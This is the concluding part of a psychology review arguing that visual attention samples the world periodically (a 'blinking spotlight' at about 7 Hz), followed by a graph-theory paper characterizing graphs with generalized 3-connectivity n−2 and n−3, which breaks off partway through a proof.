Whether your brain simultaneously and continuously shares its attentional resources (i.e., in "parallel") between candidate target objects, or switches rapidly and sequentially between them, has been the subject of intense debate in the literature. We refer to this debate as "parallel vs. sequential attention." Originally, attention was assumed to be a unitary, indivisible resource, and consequently the sequential model was favored, often implicitly (Eriksen and Spencer, [@B25]; Treisman, [@B84]; Kahneman, [@B44]). The first two decades of studies using the visual search paradigm were heavily biased toward this assumption (Treisman and Gelade, [@B85]; Wolfe, [@B102]): when a target had to be identified among a varying number of distractors and the observer\'s RT was found to increase steadily with the number of items, it was assumed that the additional time needed for each item reflected the duration of engaging, sampling and disengaging attention (hence the term "serial search slope"). It was only in the 1990s that this assumption was seriously challenged by proponents of an alternate model, according to which attention is always distributed in parallel among items, and the increase in RT with increasing item number simply reflects the increasing task difficulty or decreasing "signal-to-noise ratio" (Palmer, [@B64]; Carrasco and Yeshurun, [@B10]; Eckstein, [@B21]; McElree and Carrasco, [@B57]; Eckstein et al., [@B22]). Both models are still contemplated today -- and indeed, they are extremely difficult to distinguish experimentally (Townsend, [@B83]).
### Multi-object tracking
The same difficulty also plagues paradigms other than visual search. Multi-object tracking, for instance, corresponds to a situation in which several target objects are constantly and randomly moving around the visual field, often embedded among similarly moving distractors (Pylyshyn and Storm, [@B69]). Sometimes, the objects are moving in feature space (i.e., changing their color or their orientation) rather than in physical space (Blaser et al., [@B7]). The common finding that up to four -- or sometimes more (Cavanagh and Alvarez, [@B11]) objects can be efficiently tracked at the same time has been taken as evidence that attention must be divided in parallel among the targets (Pylyshyn and Storm, [@B69]). However, in the limit where attention would be assumed to move at lightning speed, it is obvious that this simultaneous tracking capacity could be explained equally well by sequential shifts of a single attention spotlight, than by divided or parallel attention. Indeed, at least some of the existing data have been found compatible with a sequential process (Howard and Holcombe, [@B38]; Oksama and Hyona, [@B63]). Since there is no general agreement concerning the actual speed of attention (Duncan et al., [@B19]; Moore et al., [@B59]; Hogendoorn et al., [@B34]), the question remains open.
### Simultaneous/sequential paradigm
Other paradigms have been designed with the explicit aim of teasing apart the parallel and serial attention models. In the simultaneous/sequential paradigm, the capacity of attention to process multiple items simultaneously is assessed by presenting the relevant information for a limited time in each display cycle. In one condition (simultaneous) this information is delivered at once for all items; in the other condition (sequential) each item\'s information is revealed independently, at different times. In both conditions the critical information is thus shown for the same total amount of time, such that a parallel model of attentional allocation would predict comparable performance; however, a serial attentional model would suffer more in the simultaneous condition, because attention would necessarily miss the relevant information in one stimulus while it is sampling the other(s), and vice-versa (Eriksen and Spencer, [@B25]; Shiffrin and Gardner, [@B77]). The paradigm was recently applied to the problem of multiple-object tracking (Howe et al., [@B39]), and the data were deemed incompatible with serial attention sampling. A major source of confounds in this paradigm, however, is that, depending on stimulus arrangement parameters, certain factors (e.g., grouping, crowding) can improve or decrease performance in the simultaneous condition independently of attention; similarly, other factors (e.g., apparent motion, masking) can improve or decrease performance in the sequential condition. It is unclear in the end how to tease apart the effects of attention from the potentially combined effects of all these extraneous factors.
### Split spotlight studies
To finish, there is yet another class of experiments that were intended to address a distinct albeit related question: when attention is divided among multiple objects, does the focus simply expand its size to include all of the targets, or does it split into several individual spotlights? To test this, these paradigms generally measure an improvement of performance due to attention at two separate locations concurrently; the critical test is then whether a similar improvement can also be observed at an intervening spatial location: if yes, the spotlight may have been simply enlarged, if not it may have been broken down into independent spotlights. Psychophysical studies tend to support the multiple spotlights account (Bichot et al., [@B5]; Awh and Pashler, [@B3]). The same idea has also been applied to physiological measurements of the spotlight, demonstrating that EEG or fMRI brain activations can be enhanced by attention at two concurrent locations, without any enhancement at intervening locations (Muller et al., [@B61]; McMains and Somers, [@B58]). Now, how do these results on the spatial deployment of attention pertain to our original question about the temporal dynamics of attention? Inherent in the logic of this paradigm is the assumption that attentional resources are divided constantly over time; multiple spotlights are implicitly assumed to operate simultaneously, rather than as a single, rapidly shifting focus. To support this assumption, authors often use limited presentation times (so attention does not have time to shift between targets), and speculate on the speed of attention. As mentioned before, since this speed is largely unknown, a lot of the data remain open to interpretation. In fact, our recent results in a very similar paradigm (in which we varied the delay between stimulus onset and the subsequent measurement of attentional deployment) showed that multiple simultaneous spotlights can in fact be observed, but are short-lived; when several target locations need to be monitored for extended periods of time, the attentional system quickly settles into a single-spotlight mode (Dubois et al., [@B17]). In another related study we found that attention could not simultaneously access information from two locations, but instead relied on rapid sequential allocation (Hogendoorn et al., [@B33]).
The conclusion from studies that have used this kind of paradigm is also fairly representative of the current status of the entire "sequential vs. parallel attention" debate, which we have briefly reviewed here. As summarized in a recent (and more thorough) review by Jans et al. ([@B41]), most of the so-called demonstrations of multiple parallel attention spotlights rely on strong -- and often unsubstantiated -- assumptions about the temporal dynamics of attention. In sum, parallel attention has by no means won the prize.
Temporal aliasing returns
-------------------------
Could aliasing (see [Temporal Aliasing: the Wagon Wheel Illusion](#s2){ref-type="sec"} and [Other Forms of Temporal Aliasing](#s3){ref-type="sec"}) provide a way of resolving the "sequential vs. parallel attention" debate? If attention focuses on each target sequentially rather than continuously, the target information will be sampled more or less periodically, and should thus be subject to aliasing artifacts; furthermore, the rate of sampling for each target should be inversely related to the number of targets to sample (i.e., the "set size"). On the other hand, parallel attention models have no reason to predict aliasing; and, even if aliasing were to occur, no reason to predict a change of aliasing frequency as a function of set size. We recently tested this idea using a variant of the continuous wagon wheel illusion phenomenon (Macdonald et al., under review). On each 40 s trial, we showed one, two, three or four wheels rotating in the same direction; the frequency of rotation was varied between trials. From time to time, a subset of the wheels briefly reversed their direction, and the subjects' task was to count and report how many of these reversal events had occurred in each trial. We reasoned that any aliasing would be manifested as an overestimation of the number of reversals. As expected from our experiments with the c-WWI, we found significant aliasing in a specific range of rotation frequencies. Most importantly, the frequency of maximum aliasing significantly decreased as set size was increased, as predicted by the "sequential attention" idea. Although the magnitude of this decrease was lower than expected (the sampling frequency was approximately divided by 2, from ∼13 Hz down to ∼7 Hz, while the set size was multiplied by 4), this finding poses a very serious challenge to the "parallel attention" theory.
The blinking spotlight of attention
-----------------------------------
The crucial difficulty in distinguishing parallel and sequential accounts of attention is a theoretical one: any "set size effect" that can be explained by a division of attentional resources in time can, in principle, be explained equally well using a spatial division of the same resources (Townsend, [@B83]; Jans et al., [@B41]). There is a form of equivalence between the temporal and spatial domains, a sort of Heisenberg uncertainty principle, that precludes most attempts at jointly determining the spatial and temporal distributions of attention. In a recent experiment, however, we tried to break down this equivalence by measuring set size effects following a *temporal* manipulation of the stimuli -- namely, after varying their effective duration on each trial (VanRullen et al., [@B89]). Thus we could tell, for example, how well three stimuli were processed when they were presented for 300 ms, and we could compare this to the performance obtained for one stimulus presented 100, or 300 ms (or any other combination of set size and duration). The interest of this procedure was that different models of attentional division (e.g., sequential and parallel models) would make different predictions about how the psychometric function for processing one stimulus as a function of its duration should translate into corresponding psychometric functions for larger set sizes. To simplify, the space--time equivalence was broken, because performance for sequentially sampling two (or three, or four) stimuli each for a fixed period could be predicted exactly, by knowing the corresponding performance for a single stimulus that lasted for a duration equivalent to the sampling period; a simple parallel model, of course, could be designed to explain the change in performance from one to two (or three, or four) stimuli, but if the model was wrong it would then do a poor job at explaining performance obtained at other set sizes.
We compared three distinct models of attention allocation, each with a single free parameter. In the "parallel" model, all stimuli were processed simultaneously, and only the efficiency of this processing varied as a function of attentional load (i.e., set size); the cost in efficiency was manipulated by the model\'s free parameter. The second model, coined "sample-when-divided," corresponded to the classic idea of a switching spotlight: when more than one stimulus was present, the otherwise constant attentional resource was forced to sequentially sample the stimulus locations; the model\'s free parameter was its sampling period, which affected its ability to process multiple stimuli. Finally, we decided to consider a third model, termed "sample-always," similar to the previous one except for the fact that it still collected and integrated successive attentional samples even when a single stimulus was present (see Figure [3](#F3){ref-type="fig"} for an illustration); this model\'s behavior was also governed by its sampling period. Our strategy was, then, to compare the three models' ability to emulate the actual psychometric functions of human observers.
{#F3}
Compatible with existing findings (Palmer, [@B64]), we revealed that the parallel model could outperform the classic version of the sequential model -- the "sample-when-divided" one, which considers that the attentional spotlight shifts around sequentially, but only when attention must be divided. However, the truly optimal model to explain human psychometric functions was the other variant of the sequential idea, a model in which attention always samples information periodically, regardless of set size. The rate of sampling was found to be ∼7 Hz. When attention is divided, successive samples naturally focus on different stimuli, but when it is concentrated on a single target, the samples continue to occur repeatedly every ∼150 ms, simply accumulating evidence for this one stimulus. In other words, our findings supported a "blinking spotlight" of attention (VanRullen et al., [@B89]) over the sequentially "switching spotlight" (and over the multiple "parallel spotlights").
Conclusion
==========
The notion of a blinking spotlight illustrates a fundamental point: that discrete sampling and sequential attention could be two facets of a single process (Figure [3](#F3){ref-type="fig"}). Proponents of the discrete sampling theory should ask themselves: what happens when there are more than one relevant stimuli in the visual field? Can they all be processed in a single "snapshot"? Advocates of sequential attention should ponder about the behavior of attention when it has only one target to monitor: is it useful -- or even possible -- for attention to pause its exploratory dynamics?
The simple theory that we propose is that periodic "covert" attentional sampling may have evolved from "overt" exploratory behavior (i.e., eye movements), as a means to quickly and effortlessly scan internal representations of the environment (VanRullen et al., [@B92]; Uchida et al., [@B87]). Just as eye movements continue to occur even when there is only one object in the scene -- lest the object quickly fade from awareness (Ditchburn and Ginsborg, [@B16]; Coppola and Purves, [@B13]; Martinez-Conde et al., [@B55]) -- it is sensible to posit that attentional sampling takes place regardless of the number of objects to sample. Perception can then be said to be "discrete" or "periodic," insofar as a very significant portion of its inputs (those depending on attentional mechanisms) are delivered periodically. For example, the ∼13 Hz discrete sampling responsible for the continuous wagon wheel illusion was found to be driven by attention (VanRullen et al., [@B93]; VanRullen, [@B88]; Macdonald et al., under review). The frequency of this sampling progressively decreased to ∼7 Hz when two, three, and finally four "wagon wheel" stimuli had to be simultaneously monitored (Macdonald et al., under review). Interestingly, this ∼7 Hz periodicity was also the one indicated by our model of the "blinking spotlight" of attention (VanRullen et al., [@B89]). Altogether, our data raise the intriguing suggestion that attention creates discrete samples of the visual world with a periodicity of approximately one tenth of a second.
To conclude, we argue that it is constructive to unite the two separate psychophysical debates about discrete vs. continuous perception (see [Rhythmic Sampling of a Single Stimulus: Discrete vs. Continuous Perception](#s1){ref-type="sec"}) and sequential vs. parallel attention (see [Rhythmic Sampling of Multiple Stimuli: Sequential vs. Parallel Attention](#s4){ref-type="sec"}). Discrete perception and sequential attention may represent perceptual and psychological manifestations of a single class of periodic neuronal mechanisms. Therefore, psychophysical progress in solving those debates could, ultimately, contribute to uncovering the role of low-frequency brain rhythms in perception and attention.
Conflict of Interest Statement
==============================
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
This research was funded by a EURYI Award and an ANR grant 06JCJC-0154 to RV.
[^1]: Edited by: Gregor Thut, University of Glasgow, UK
[^2]: Reviewed by: Hinze Hogendoorn, Utrecht University, Netherlands; Ayelet Nina Landau, Ernst Strüngmann Institute in Cooperation with Max Planck Society, Germany
[^3]: This article was submitted to Frontiers in Perception Science, a specialty of Frontiers in Psychology.
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---
abstract: |
Let $S$ be a nonempty set of vertices of a connected graph $G$. A collection $T_1,\cdots,T_{\ell}$ of trees in $G$ is said to be internally disjoint trees connecting $S$ if $E(T_i)\cap E(T_j)=\emptyset$ and $V(T_i)\cap V(T_j)=S$ for any pair of distinct integers $i,j$, where $1\leq i,j\leq r$. For an integer $k$ with $2\leq k\leq n$, the generalized $k$-connectivity $\kappa_k(G)$ of $G$ is the greatest positive integer $r$ such that $G$ contains at least $r$ internally disjoint trees connecting $S$ for any set $S$ of $k$ vertices of $G$. Obviously, $\kappa_2(G)$ is the connectivity of $G$. In this paper, sharp upper and lower bounds of $\kappa_3(G)$ are given for a connected graph $G$ of order $n$, that is, $1\leq \kappa_3(G)\leq n-2$. Graphs of order $n$ such that $\kappa_3(G)=n-2,\, n-3$ are characterized, respectively.
[**Keywords**]{}: connectivity, internally disjoint trees, generalized connectivity.\
[**AMS subject classification 2010:**]{} 05C40, 05C05.
author:
- |
Hengzhe Li, Xueliang Li, Yaping Mao, Yuefang Sun\
Center for Combinatorics and LPMC-TJKLC\
Nankai University, Tianjin 300071, China\
lhz2010@mail.nankai.edu.cn; lxl@nankai.edu.cn;\
maoyaping@ymail.com; bruceseun@gmail.com
title: '**Graphs with large generalized $3$-connectivity [^1]**'
---
Introduction
============
All graphs in this paper are undirected, finite and simple. We refer to book [@bondy] for graph theoretical notation and terminology not described here.
The generalized connectivity of a graph $G$, which was introduced by Chartrand et al. in [@Chartrand1], is a natural and nice generalization of the concept of connectivity. A tree $T$ is called *an $S$-tree* if $S\subseteq V(T)$, where $S\in V(G)$. A collection $T_1,\cdots,T_{\ell}$ of trees in $G$ is said to be *internally disjoint trees connecting $S$* if $E(T_i)\cap E(T_j)=\emptyset$ and $V(T_i)\cap V(T_j)=S$ for any pair of distinct integers $i,j$, where $1\leq i,j\leq r$. For an integer $k$ with $2\leq k\leq n$, the *generalized $k$-connectivity* $\kappa_k(G)$ of $G$ is the greatest positive integer $r$ such that $G$ contains at least $r$ internally disjoint trees connecting $S$ for any set $S$ of $k$ vertices of $G$. Obviously, $\kappa_2(G)$ is the connectivity of $G$. By convention, for a connected graph with less than $k$ vertices, we set $\kappa_k(G)=1$; for a disconnected graph $G$, we set $\kappa_k(G)=0$.
In addition to being natural combinatorial measures, the generalized connectivity can be motivated by their interesting interpretation in practice. For example, suppose that $G$ represents a network. If one considers to connect a pair of vertices of $G$, then a path is used to connect them. However, if one wants to connect a set $S$ of vertices of $G$ with $|S|\geq 3$, then a tree has to be used to connect them. This kind of tree with minimum order for connecting a set of vertices is usually called a Steiner tree, and popularly used in the physical design of VLSI, see [@Sherwani]. Usually, one wants to consider how tough a network can be, for the connection of a set of vertices. Then, the number of totally independent ways to connect them is a measure for this purpose. The generalized $k$-connectivity can serve for measuring the capability of a network $G$ to connect any $k$ vertices in $G$.
There have appeared many results on the generalized connectivity, see [@Chartrand1; @Chartrand2; @Okamoto; @Li1; @Li2; @Li3; @Li4; @Li5]. Chartrand et al. in [@Chartrand2] obtained the following result in the generalized connectivity.
[@Chartrand2] For every two integers $n$ and $k$ with $2\leq k\leq n$, $$\kappa_k(K_n)=n-\lceil k/2\rceil.$$
The following result is given by Li et al. in [@Li4], which will be used later.
[@Li4] For any connected graph $G$, $\kappa_3(G)\leq \kappa(G)$. Moreover, the upper bound is sharp.
In Section 2, sharp upper and lower bounds of $\kappa_3(G)$ are given for a connected graph $G$ of order $n$, that is, $1\leq \kappa_3(G)\leq n-2$. Moreover, graphs of order $n$ such that $\kappa_3(G)=n-2,\, n-3$ are characterized, respectively.
Graphs with $3$-connectivity $n-2, n-3$
=======================================
For a graph $G$, let $V(G)$, $E(G)$ be the set of vertices, the set of edges, respectively, and $|G|$ and $\|G\|$ the order, the size of $G$, respectively. If $S$ is a subset of vertices of a graph $G$, the subgraph of $G$ induced by $S$ is denoted by $G[S]$. If $M$ is a subset of edges of $G$, the subgraph of $G$ induced by $M$ is denoted by $G[M]$. As usual, the *union* of two graphs $G$ and $H$ is the graph, denoted by $G\cup H$, with vertex set $V(G)\cup V(H)$ and edge set $E(G)\cup E(H)$. Let $mH$ be the disjoint union of $m$ copies of a graph $H$. For $U\subseteq V(G)$, we denote $G\setminus U$ the subgraph by deleting the vertices of $U$ along with the incident edges from $G$. Let $d_G(v)$, simply denoted by $d(v)$, be the degree of a vertex $v$, and let $N_G(v)$ be the neighborhood set of $v$ in $G$. A subset $M$ of $E(G)$ is called a *matching* in $G$ if its elements are such edges that no two of them are adjacent in $G$. A matching $M$ saturates a vertex $v$, or $v$ is said to be *$M$-saturated*, if some edge of $M$ is incident with $v$; otherwise, $v$ is *$M$-unsaturated*. $M$ is a *maximum matching* if $G$ has no matching $M'$ with $|M'|>|M|$.
If $G$ is a graph obtained from the complete graph $K_n$ by deleting an edge set $M$ and $\Delta(K_n[M])\geq 3$, then $\kappa_3(G)\leq n-4$.
The observation above indicates that if $\kappa_3(G)\geq n-3$, then each component of $K_n[M]$ must be a path or a cycle.
After the preparation above, we start to give our main results of this paper. At first, we give the bounds of $\kappa_3(G)$.
For a connected graph $G$ of order $n \ (n\geq 3)$, $1\leq \kappa_3(G)\leq n-2$. Moreover, the upper and lower bounds are sharp.
It is easy to see that $\kappa_3(G)\leq \kappa_3(K_n)$. From this together with Lemma 1, we have $\kappa_3(G)\leq n-2$. Since $G$ is connected, $\kappa_3(G)\geq 1$. The result holds.
It is easy to check that the complete graph $K_n$ attains the upper bound and the complete bipartite graph $K_{1,n-1}$ attains the lower bound.
For a connected graph $G$ of order $n$, $\kappa_3(G)=n-2$ if and only if $G=K_n$ or $G=K_n\setminus e$.
*Necessity* If $G=K_n$, then we have $\kappa_3(G)=n-2$ by Lemma 1. If $G=K_n\setminus e$, it follows by Proposition 1 that $\kappa_3(G)\leq n-2$. We will show that $\kappa_3(G)\geq n-2$. It suffices to show that for any $S\subseteq V(G)$ such that $|S|=2$, there exist $n-2$ internally disjoint $S$-trees in $G$.
Let $e=uv$, and $W=G\setminus\{u,v\}=\{w_1,w_2,\cdots,w_{n-2}\}$. Clearly, $G[W]$ is a complete graph of order $n-2$.
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Figure 1 The edges of a tree are by the same type of lines.
If $|\{u,v\}\cap S|=1$ (See Figure 1 $(a)$), without loss of generality, let $S=\{u,w_1,w_2\}$. The trees $T_i=
w_iu\cup w_iw_1\cup w_iw_2$ together with $T_1=uw_1\cup w_1w_2$, $T_2=uw_2\cup vw_2\cup vw_1$ form $n-2$ pairwise internally disjoint $S$-trees, where $i=2,\cdots,n-2$.
If $|\{u,v\}\cap S|=2$(See Figure 1 $(b)$), without loss of generality, let $S=\{u,v,w_1\}$. The trees $T_i=
w_iu\cup w_iv\cup w_iw_1$ together with $T_1=uw_1\cup w_1v$ form $n-2$ pairwise internally disjoint $S$-trees, where $i=2,\cdots,n-2$.
Otherwise, suppose $S\subseteq W$ (See Figure 1 $(c)$). Without loss of generality, let $S=\{w_1,w_2,w_3\}$. The trees $T_i=w_iw_1\cup w_iw_2\cup w_iw_3(i=4,5,\cdots,n-2)$ together with $T_1=w_2w_1\cup w_2w_3$ and $T_2=uw_1\cup uw_2\cup uw_3$ and $T_3=vw_1\cup vw_2\cup vw_3$ form $n-2$ pairwise internally disjoint $S$-trees.
From the arguments above , we conclude that $\kappa_3(K_n\setminus e)\geq n-2$. From this together with Proposition 1, $\kappa(K_n\setminus e)=n-2$.
*Sufficiency* Next we show that if $G\neq K_n, K_n\setminus e$, then $\kappa_3(G)\leq n-3$, where $G$ is a connected graph. Let $G$ be the graph obtained from $K_n$ by deleting two edges. It suffices to prove that $\kappa_3(G)\leq n-3$. Let $G=K_n\setminus\{e_1,e_2\}$, where $e_1,e_2\in E(K_n)$. If $e_1$ and $e_2$ has a common vertex and form a $P_3$, denoted by $v_1,v_2,v_3$. Thus $d_G(v)=n-3$. So $\kappa_3(G)\leq \delta(G)\leq n-3$. If $e_1$ and $e_2$ are independent edges. Let $e_1=xy$ and $e_2=vw$. Let $S=\{x,y,v\}$. We consider the internally disjoint $S$-trees. It is easy to see that $d_{G}(x)=d_{G}(y)=d_{G}(v)=n-2$. Furthermore, each edge incident to $x$ (each neighbor adjacent to $x$) in $G$ belongs to an $S$-tree so that we can obtain $n-2$ $S$-trees. The same is true for the vertices $y$ and $v$. Let $\mathcal {T}$ be a set of internally disjoint $S$-trees that contains as many $S$-trees as possible and $U=N_G(x)\cap N_G(y)\cap N_G(v)$. There exist at most $|U|=n-4$ $S$-tree in $\mathcal {T}$ that contain at least one vertex in $U$. Next we show that there exist one $S$-tree in $G\setminus U$. Suppose that there exist two internally disjoint $S$-trees in $G\setminus U$. Since $G\setminus U$ is cycle of order $4$, and there exists at most one $S$-tree in $G\setminus U$. So $\kappa_3(G)=|\mathcal {T}|\leq n-3$.
Let $G$ be a connected graph of order $n(n\geq 3)$. $\kappa_3(G)=n-3$ if and only if $G$ is a graph obtained from the complete graph $K_n$ by deleting an edge set $M$ such that $K_n[M]=P_4$ or $K_n[M]=P_3\cup P_2$ or $K_n[M]=C_3\cup P_2$ or $K_n[M]=r P_2( 2\leq r\leq \lfloor\frac{n}{2}\rfloor)$.
*Sufficiency.* Assume that $\kappa_3(G)=n-3$. Then $|M|\geq 2$ by Theorem 1 and each component of $K_n[M]$ is a path or a cycle by Observation 1. We will show that the following claims hold.
**Claim 1.** $K_n[M]$ has at most one component of order larger than 2.
Suppose, to the contrary, that $K_n[M]$ has two components of order larger than 2, denoted by $H_1$ and $H_2$ (See Figure 2 $(a)$). Pick a set $S=\{x,y,z\}$ such that $x,y\in H_1$, $z\in H_2$, $d_{H_1}(y)=d_{H_2}(z)=2$, and $x$ is adjacent to $y$ in $H_1$. Since $d_G(y)=n-1-d_{H_1}(y)=n-3$, each edge incident to $y$ (each neighbor adjacent to $y$) in $G$ belongs to an $S$-tree so that we can obtain $n-3$ internally disjoint $S$-trees. The same is true for the vertex $z$. The same is true for the vertices $y$ and $v$. Let $\mathcal {T}$ be a set of internally disjoint $S$-trees that contains as many $S$-trees as possible and $U$ be the vertex set whose elements are adjacent to both of $y$ and $z$. There exist at most $|U|=n-6$ $S$-trees in $\mathcal {T}$ that contain a vertex in $U$.
Next we show that there exist at most $2$ $S$-trees in $G\setminus U$ (See Figure 2 $(a)$). Suppose that there exist $3$ internally disjoint $S$-trees in $G\setminus U$. Since $d_{G\setminus U}(y)=d_{G\setminus U}(z)=3$, $yz$ must be in an $S$-tree, say $T_{n-5}$. Then we must use one element of the edge set $E_1=\{zx,v_2z,v_3y,v_1y\}$ if we want to reach $x$ in $T_{n-5}$. Thus $d_{T_{n-5}}(y)=2$ or $d_{T_{n-5}}(z)=2$, which implies that there exists at most one $S$-tree except $T_{n-5}$ in $G\setminus U$. So $\kappa_3(G)=|\mathcal {T}|\leq n-4$, a contradiction.
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Figure 2 Graphs for Claim 1 and Claim 2(The dotted lines stand for edges in $M$).
**Claim 2.** If $H$ is a component of $K_n[M]$ of order larger than three, then $K_n[M]=P_4$.
Suppose, to the contrary, that $H$ is a path or a cycle of order larger than $4$, or a cycle of order $4$, or $H$ is a path of order $4$ and $K_n[M]$ has another component.
If $H$ is a path or a cycle of order larger than $4$, we can pick a $P_5$ in $H$. Let $P_5=v_1,v_2,v_3,v_4,v_5$(See Figure 2 $(b)$) and $S=\{v_2,v_3,v_4\}$. Since $d_H(v_2)=d_H(v_3)=d_H(v_4)=2$, $d_{G}(v_2)=d_{G}(v_3)=d_{G}(v_4)=n-3$. Furthermore, each edge incident to $v_2$ (each neighbor adjacent to $v_2$) in $G$ belongs to an $S$-tree so that we can obtain $n-3$ $S$-trees. The same is true for the vertices $y$ and $z$. Let $\mathcal {T}$ be a set of internally disjoint $S$-trees that contains as many $S$-trees as possible and $U=N_G(v_2)\cap N_G(v_3)\cap N_G(v_4)$. There exist at most $|U|=n-5$ $S$-tree in $\mathcal {T}$ that contain at least one vertex in $U$. Next we show that there exist at most one $S$-tree in $G\setminus U$ (See Figure 2 $(b)$). Suppose that there exist two internally disjoint $S$-trees in $G\setminus U$. Since $d_{G\setminus U}(v_2)=d_{G\setminus U}(v_4)=2$, $v_2v_4$ must be in an $S$-tree, say $T_{n-5}$. Then we must use one element of $\{v_1,v_5\}$ if we want to reach $v_3$ in $T_{n-5}$. This implies that there exists at most one $S$-tree except $T_{n-5}$ in $G\setminus U$. So $\kappa_3(G)=|\mathcal {T}|\leq n-4$, a contradiction.
If $H$ is a cycle of order $4$, let $H=v_1,v_2,v_3,v_4$(See Figure 2 $(c)$), and $S=\{v_1,v_2,v_3\}$. Since $d_H(v_1)=d_H(v_2)=d_H(v_3)=2$, $d_{G}(v_1)=d_{G}(v_2)=d_{G}(v_3)=n-3$. Furthermore, each edge incident to $v_1$ in $G$ belongs to an $S$-tree so that we can obtain $n-3$ $S$-trees. The same is true for the vertices $v_2$ and $v_3$. Let $\mathcal {T}$ be a set of internally disjoint $S$-trees that contains as many $S$-trees as possible and $U=N_G(v_2)\cap N_G(v_3)\cap N_G(v_4)$. There exist at most $|U|=n-4$ $S$-trees in $\mathcal {T}$ that contain at least one vertex in $U$. It is obvious that $G\setminus U$ is disconnected, and we will show that there exists no $S$-tree in $G\setminus U$(See Figure 2 $(c)$). So $\kappa_3(G)=|\mathcal {T}|\leq n-4$, a contradiction. .
Otherwise, $H$ is a path order $4$ and $K_n[M]$ has another component. By Claim 1, the component must be an edge, denoted by $P_2=u_1u_2$. Let $H=P_4=v_1,v_2,v_3,v_4$(See Figure 3 $(a)$) and $S=\{v_2,v_3,u_1\}$. Since $d_H(v_2)=d_H(v_3)=2$, we have $d_{G}(v_2)=d_{G}(v_3)=n-3$. Furthermore, each edge incident to $v_2$ (each neighbor adjacent to $v_2$) in $G$ belongs to an $S$-tree so that we can obtain $n-3$ $S$-trees. The same is true for the vertex $v_3$. Let $\mathcal {T}$ be a set of internally disjoint $S$-trees that contains as many $S$-trees as possible and $U$ be the vertex set whose elements are adjacent to both of $v_2$, $v_3$ and $u_1$. There exist at most $|U|=n-6$ $S$-trees in $\mathcal {T}$ that contain at least one vertex in $U$. Next we show that there exist at most two $S$-trees in $G\setminus U$. Suppose that there exist $3$ internally disjoint $S$-trees in $G\setminus U$. Since $d_{G\setminus U}(v_2)=d_{G\setminus U}(v_3)=3$, each edge incident to $v_2$ (each neighbor adjacent to $v_2$) in $G$ belongs to an $S$-tree so that we can obtain $3$ $S$-trees. The same is true for the vertex $v_3$. This implies that $v_2u_2$ belongs to an $S$-trees, denoted by $T_1$, and $v_3u_2$ belongs to an $S$-trees, denoted by $T_2$. Clearly, $T_1=T_2$. Otherwise, $u_2\in T_1\cap T_2$, which contradicts to that $T_1$ and $T_2$ are internally disjoint $S$-trees. Then $v_2u_2,v_3u_2\in E(T_{1})$. If we want to form $T_{1}$, we need the vertex $v_1$ or $v_4$. Without loss of generality, let $v_1\in V(T_{1})$. It is easy to see that there exists exactly one $S$-tree except $T_{1}$ in $G\setminus U$ (See Figure 3 $(b)$), which implies that $\kappa_3(G)\leq n-4$. So $\kappa_3(G)=|\mathcal {T}|\leq n-4$, a contradiction.
**Claim 3.** If $H$ is a component of $K_n[M]$ of order $3$, then $K_n[M]=C_3\cup P_2$ or $K_n[M]=P_3\cup P_2$.
By the similar arguments to the claims above, we can deduce the claim.
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Figure 3 Graphs for Claim 2(The dotted lines stands for edges in $M$).
From the arguments above, we can conclude that $G$ is a graph obtained from the complete graph $K_n$ by deleting an edge set $M$ such that $K_n[M]=P_4$ or $K_n[M]=P_3\cup P_2$ or $K_n[M]=C_3\cup P_2$ or $K_n[M]=r P_2(2\leq r\leq \lfloor\frac{n}{2}\rfloor)$.
*Necessity.* We show that $\kappa_3(G)\geq n-3$ if $G$ is a graph obtained from the complete graph $K_n$ by deleting an edge set $M$ such that $K_n[M]=P_4$ or $K_n[M]=P_3\cup P_2$ or $K_n[M]=C_3\cup P_2$ or $K_n[M]=r P_2( 2\leq r\leq \lfloor\frac{n}{2}\rfloor)$. We consider the following cases:
**Case 1.** $K_n[M]=r P_2(2\leq r\leq \lfloor\frac{n}{2}\rfloor)$.
In this case, $M$ is a matching of $K_n$. We only need to prove that $\kappa_3(G)\geq n-3$ when $M$ is a maximum matching of $K_n$. Let $S=\{x,y,z\}$. Since $|S|=3$, $S$ contains at most a pair of adjacent vertices under $M$.
If $S$ contains a pair of adjacent vertices under $M$, denoted by $x$ and $y$, then the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_1=xy\cup yz$ form $n-3$ pairwise internally disjoint trees connecting $S$, where $\{w_1,w_2,\cdots,w_{n-4}\}=V(G)\setminus \{x,y,z,z'\}$ such that $z'$ is the adjacent vertex of $z$ under $M$ if $z$ is $M$-saturated, or $z'$ is any vertex in $V(G)\setminus \{x,y,z\}$ if $z$ is $M$-unsaturated. If $S$ contains no pair of adjacent vertices under $M$, then the trees $T_i=w_ix\cup w_iy\cup w_iz$ together with $T_1=yx\cup xy'\cup y'z$ and $T_2=yx'\cup zx'\cup zx$ and $T_3=zy\cup yz'\cup z'x$ form $n-3$ pairwise edge-disjoint $S$-trees, where $\{w_1,w_2,\cdots,w_{n-6}\}=V(G)\setminus \{x,y,z,x',y',z'\}$, $x',y',z'$ are the adjacent vertices of $x,y,z$ under $M$, respectively, if $x,y,z$ are all $M$-saturated, or one of $x',y',z'$ is any vertex in $V(G)\setminus \{x,y,z\}$ if the vertex is $M$-unsaturated.
From the arguments above , we know that $\kappa(S)\geq n-3$ for $S\subseteq V(G)$. Thus $\kappa_3(G)\geq n-3$. From this together with Theorem 1, we know $\kappa_3(G)=n-3$.
**Case 2.** $K_n[M]=C_3\cup P_2$ or $K_n[M]=P_3\cup P_2$.
If $\kappa_3(G)\geq n-3$ for $K_n[M]=C_3\cup P_2$, then $\kappa_3(G)\geq n-3$ for $K_n[M]=P_3\cup P_2$. So we only consider the former. Let $C_3=v_1,v_2,v_3$ and $P_2=u_1u_2$, and let $S=\{x,y,z\}$ be a $3$-set of $G$. If $S=V(C_3)$, then there exist $n-3$ pairwise internally disjoint $S$-trees since each vertex in $S$ is adjacent to each vertex in $G\setminus S$. Suppose $S\neq V(C_3)$.
